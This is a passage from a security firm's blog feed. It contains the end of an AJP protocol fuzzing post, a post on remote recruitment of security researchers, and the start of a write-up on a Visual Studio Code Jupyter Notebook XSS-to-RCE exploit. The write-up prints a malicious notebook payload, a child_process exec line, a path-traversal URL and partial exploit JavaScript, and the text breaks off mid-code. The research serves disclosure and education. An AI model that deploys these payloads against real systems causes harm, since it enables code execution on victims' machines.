&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;AJPFuzzer/192.168.80.131:8009&amp;gt; genericfuzz 2 &lt;span class=&quot;s2&quot;&gt;&quot;HTTP/1.1&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt; 8009 &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Cookie:AAAA=BBBB&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;secret:FUZZ&quot;&lt;/span&gt; /tmp/listFUZZ.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/ajp-valid-fuzz.png&quot; alt=&quot;AJP schema fuzz&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;takeaways&quot;&gt;Takeaways&lt;/h2&gt;

&lt;p&gt;Web binary protocols are fun to learn and reverse engineer.&lt;/p&gt;

&lt;p&gt;For defenders:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Do not expose your AJP interfaces in hostile networks. Instead, consider switching to HTTP/2&lt;/li&gt;
  &lt;li&gt;Protect the AJP interface by enabling a shared secret. In this case, the workers must also include a matching value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secret&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>Recruiting Security Researchers Remotely</title>
   <link href="https://blog.doyensec.com/2022/11/09/recruiting-security-researchers.html"/>
   <updated>2022-11-09T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2022/11/09/recruiting-security-researchers</id>
   <content type="html">&lt;p&gt;At Doyensec, &lt;strong&gt;the application security engineer recruitment process is 100% remote&lt;/strong&gt;. As the final step, we used to organize an onsite interview in Warsaw for candidates from Europe and in New York for candidates from the US. It was like that until 2020, when the Covid pandemic forced us to switch to a 100% remote recruitment model and hire people without meeting them in person.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/banner-recruiting-blogpost.png&quot; title=&quot;Banner Recruiting Post&quot; alt=&quot;Banner Recruiting Post&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;We have conducted recruitment interviews with candidates from over 25 countries. So how did we build a process that, on the one hand, is inclusive for people of different nationalities and cultures, and on the other hand, allows us to understand the technical skills of a given candidate?&lt;/p&gt;

&lt;p&gt;The recruitment process below is the result of the experience gathered since 2018.&lt;/p&gt;

&lt;h1 id=&quot;introduction-call&quot;&gt;Introduction Call&lt;/h1&gt;

&lt;p&gt;Before we start the recruitment process of a given candidate, we want to get to know someone better. We want to understand their motivations for changing the workplace as well as what they want to do in the next few years. Doyensec only employs people with a specific mindset, so it is crucial for us to get to know someone before asking them to present their technical skills.&lt;/p&gt;

&lt;p&gt;During our initial conversation, our HR specialist will tell a candidate more about the company, how we work, where our clients come from and the general principles of cooperation with us. We will also leave time for the candidate so that they can ask any questions they want.&lt;/p&gt;

&lt;p&gt;What do we pay attention to during the introduction call?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Knowledge of the English language for applicants who are not native speakers&lt;/li&gt;
  &lt;li&gt;Professionalism - although people come from different cultures, professionalism is international&lt;/li&gt;
  &lt;li&gt;Professional experience that indicates the candidate has the background to be successful in the relevant role with us&lt;/li&gt;
  &lt;li&gt;General character traits that can tell us if someone will fit in well with our team&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the financial expectations of the candidate are in line with what we can offer and we feel good about the candidate, we will proceed to the first technical skills test.&lt;/p&gt;

&lt;h1 id=&quot;source-code-challenge&quot;&gt;Source Code Challenge&lt;/h1&gt;

&lt;p&gt;At Doyensec, we frequently deal with source code that is provided by our clients. We like to combine source code analysis with dynamic testing. We believe this combination will bring the highest ROI to our customers. This is why we require each candidate to be able to analyze application source code.&lt;/p&gt;

&lt;p&gt;Our source code challenge is arranged such that, at the agreed time, we send an archive of source code to the candidate and ask them to find as many vulnerabilities as possible within 2 hours. They are also asked  to prepare short descriptions of these vulnerabilities according to the instructions that we send along with the challenge. The aim of this assignment is to understand how well the candidate can analyze the source code and also how efficiently they can work under time pressure.&lt;/p&gt;

&lt;p&gt;We do not reveal in advance what programming languages are in our tests, but they should expect the more popular ones. We don’t test on niche languages as our goal is to check if they are able to find vulnerabilities in real-world code, not to try to stump them with trivia or esoteric challenges.&lt;/p&gt;

&lt;p&gt;We feel nothing beats real-world experience in coding and reviewing code for vulnerabilities. Beyond that, examples of the academic knowledge necessary to pass our code review challenge is similar (but not limited) to what you’d find in the following resources:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.sei.cmu.edu/confluence/display/java/Java+Coding+Guidelines&quot;&gt;CERT’s Java Coding Guidelines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.sei.cmu.edu/confluence/display/android/Android+Secure+Coding+Standard&quot;&gt;CERT’s Android Secure Coding Standard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/guide/security/intro-to-app-security-for-ios-and-ipados-secf49cad4db/web&quot;&gt;Apple’s Intro to app security for iOS and iPadOS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;technical-interview&quot;&gt;Technical Interview&lt;/h1&gt;

&lt;p&gt;After analyzing the results of the first challenge, we decide whether to invite the candidate to the first technical interview. The interview is usually conducted by our Consulting Director or one of the more experienced consultants.&lt;/p&gt;

&lt;p&gt;The interview will last about 45 minutes where we will ask questions that will help us understand the candidates’ skillsets and determine their level of seniority.  During this conversation, we will also ask about mistakes made during the source code challenge. We want to understand why someone may have reported a vulnerability when it is not there or perhaps why someone missed a particular, easy to detect vulnerability.&lt;/p&gt;

&lt;p&gt;We also encourage candidates to ask questions about how we work, what tools and techniques we use and anything else that may interest the candidate.&lt;/p&gt;

&lt;p&gt;The knowledge necessary to be successful in this phase of the process comes from real-world experience, coupled with academic knowledge from sources such as these:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security&quot;&gt;Mozilla’s Web security reference&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470&quot;&gt;The Web Application Hacker’s Handbook&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.amazon.com/Tangled-Web-Securing-Modern-Applications/dp/1593273886&quot;&gt;The Tangled Web&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/tadwhitaker/Security_Engineer_Interview_Questions/blob/master/security-interview-questions.md&quot;&gt;Examples of common Security Engineering interview questions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/index.html&quot;&gt;OWASP’s Cheat Sheet Series&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;web-challenge&quot;&gt;Web Challenge&lt;/h1&gt;

&lt;p&gt;At four hours in length, our Web Challenge is our last and longest test of technical skills. At an agreed upon time, we send the candidate a link to a web application that contains a certain number of vulnerabilities and the candidate’s task is to find as many vulnerabilities as possible and prepare a simplified report. Unlike the previous technical challenge where we checked the ability to read the source code, this is a 100% blackbox test.&lt;/p&gt;

&lt;p&gt;We recommend candidates to feel comfortable with topics similar to those covered at the &lt;a href=&quot;https://portswigger.net/web-security&quot;&gt;Portswigger Web Security Academy&lt;/a&gt;, or the training/CTFs available through sites such as &lt;a href=&quot;https://www.hackerone.com/hackers/hacker101&quot;&gt;HackerOne&lt;/a&gt;, prior attempting this challenge.&lt;/p&gt;

&lt;p&gt;If the candidate passes this stage of the recruitment process, they will only have one last stage, an interview with the founders of the company.&lt;/p&gt;

&lt;h1 id=&quot;final-interview&quot;&gt;Final Interview&lt;/h1&gt;

&lt;p&gt;The last stage of recruitment isn’t so much an interview but rather, more of a summary of the entire process. We want to talk to the candidate about their strengths, better understand their technical weaknesses and any mistakes they made during the previous steps in the process. In particular, we always like to distinguish errors that come from the lack of knowledge versus the result of time pressure. It’s a very positive sign when candidates who reach this stage have reflected upon the process and taken steps to improve in any areas they felt less comfortable with.&lt;/p&gt;

&lt;p&gt;The last interview is always carried out by one of the founders of the company, so it’s a great opportunity to learn more about Doyensec. If someone reaches this stage of the recruitment process, it is highly likely that our company will make them an offer. Our offers are based on their expectations as well as what value they bring to the organization. The entire recruitment process is meant to guarantee that the employee will be satisfied with the work and meet the high standards Doyensec has for its team.&lt;/p&gt;

&lt;p&gt;The entire recruitment process takes about 8 hours of actual time, which is only one working day, total. So, if the candidate is reactive, the entire recruitment process can usually be completed in about 2 weeks or less.&lt;/p&gt;

&lt;p&gt;If you are looking for more information about working &lt;a href=&quot;https://twitter.com/doyensec&quot;&gt;@Doyensec&lt;/a&gt;, visit &lt;a href=&quot;https://doyensec.com/careers.html&quot;&gt;our career page&lt;/a&gt; and check out &lt;a href=&quot;https://www.careers-page.com/doyensec-llc&quot;&gt;our job openings&lt;/a&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/recruitment_process.png&quot; title=&quot;Summary Recruiting Process&quot; alt=&quot;Summary Recruiting Process&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 400px;&quot; /&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Visual Studio Code Jupyter Notebook RCE</title>
   <link href="https://blog.doyensec.com/2022/10/27/jupytervscode.html"/>
   <updated>2022-10-27T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/10/27/jupytervscode</id>
   <content type="html">&lt;p&gt;I spared a few hours over the past weekend to look into the exploitation of this &lt;a href=&quot;https://github.com/justinsteven/advisories/blob/master/2021_vscode_ipynb_xss_arbitrary_file_read.md&quot;&gt;Visual Studio Code .ipynb Jupyter Notebook bug&lt;/a&gt; discovered by &lt;a href=&quot;https://twitter.com/justinsteven&quot;&gt;Justin Steven&lt;/a&gt; in August 2021.&lt;/p&gt;

&lt;p&gt;Justin discovered a Cross-Site Scripting (XSS) vulnerability affecting the VSCode built-in support for Jupyter Notebook (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ipynb&lt;/code&gt;) files.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cells&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cell_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;code&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;execution_count&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;source&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;outputs&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;output_type&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;display_data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;text/markdown&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;img src=x onerror='console.log(1)'&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;His analysis details the issue and shows a proof of concept which reads arbitrary files from disk and then leaks their contents to a remote server, however it is not a complete RCE exploit.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I could not find a way to leverage this XSS primitive to achieve arbitrary code execution, but someone more skilled with Electron exploitation may be able to do so. […]&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Given our focus on ElectronJs (and many other web technologies), I decided to look into potential exploitation venues.&lt;/p&gt;

&lt;p&gt;As the first step, I took a look at the overall design of the application in order to identify the configuration of each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow/BrowserView/Webview&lt;/code&gt; in use by VScode. Facilitated by &lt;a href=&quot;https://get-electrong.com/&quot;&gt;ElectroNG&lt;/a&gt;, it is possible to observe that the application uses a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration:on&lt;/code&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electrongvscode.png&quot; title=&quot;ElectroNG VScode&quot; alt=&quot;ElectroNG VScode&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; loads content using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vscode-file&lt;/code&gt; protocol, which is similar to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt; protocol. Unfortunately, our injection occurs in a nested sandboxed iframe as shown in the following diagram:&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/VScodeBrowserWindowDesign.png&quot; title=&quot;VScode BrowserWindow Design&quot; alt=&quot;VScode BrowserWindow Design&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 500px;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;In particular, our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt; iframe is created using the following attributes:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;allow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;scripts&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;allow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;same&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;origin&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;allow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forms&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;allow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pointer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;lock&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;allow&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;downloads&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By default, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt; makes the browser treat the iframe as if it was coming from another origin, even if its &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src&lt;/code&gt; points to the same site. Thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;allow-same-origin&lt;/code&gt; attribute, this limitation is lifted. As long as the content loaded within the webview is also hosted on the local filesystem (within the app folder), we can access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;top&lt;/code&gt; window. With that, we can simply execute code using something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;top.require('child_process').exec('open /System/Applications/Calculator.app');&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;So, &lt;strong&gt;how do we place our arbitrary HTML/JS content within the application install folder?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Alternatively, &lt;strong&gt;can we reference resources outside that folder?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The answer comes from a &lt;a href=&quot;https://i.blackhat.com/USA-22/Thursday/US-22-Purani-ElectroVolt-Pwning-Popular-Desktop-Apps.pdf&quot;&gt;recent presentation&lt;/a&gt; I watched at the latest Black Hat USA 2022 briefings. In exploiting &lt;a href=&quot;https://blog.electrovolt.io/posts/vscode-rce/&quot;&gt;CVE-2021-43908&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/TheGrandPew&quot;&gt;TheGrandPew&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/S1r1u5_&quot;&gt;s1r1us&lt;/a&gt; use a path traversal to load arbitrary files outside of VSCode installation path.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F/somefile.html&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Similarly to their exploit, we can attempt to leverage a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;postMessage&lt;/code&gt;’s reply to leak the path of current user directory. In fact, our payload can be placed inside the malicious repository, together with the Jupyter Notebook file that triggers the XSS.&lt;/p&gt;

&lt;p&gt;After a couple of hours of trial-and-error, I discovered that we can obtain a reference of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;img&lt;/code&gt; tag triggering the XSS by forcing the execution during the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onload&lt;/code&gt; event.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/vscodepathleak.png&quot; title=&quot;Path Leak VScode&quot; alt=&quot;Path Leak VScode&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;With that, all of the ingredients are ready and I can finally assemble the final exploit.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;apploc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/Applications/Visual Studio Code.app/Contents/Resources/app/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/ /g&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;%20&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repoloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;frames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onmessage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contents&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;base href&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;  
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;leakloc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;lt;base href=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;(.*)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;repoloc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;leakloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://file%2B.vscode-resource.vscode-webview.net&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;vscode-file://vscode-app&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apploc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;repoloc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;poc.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
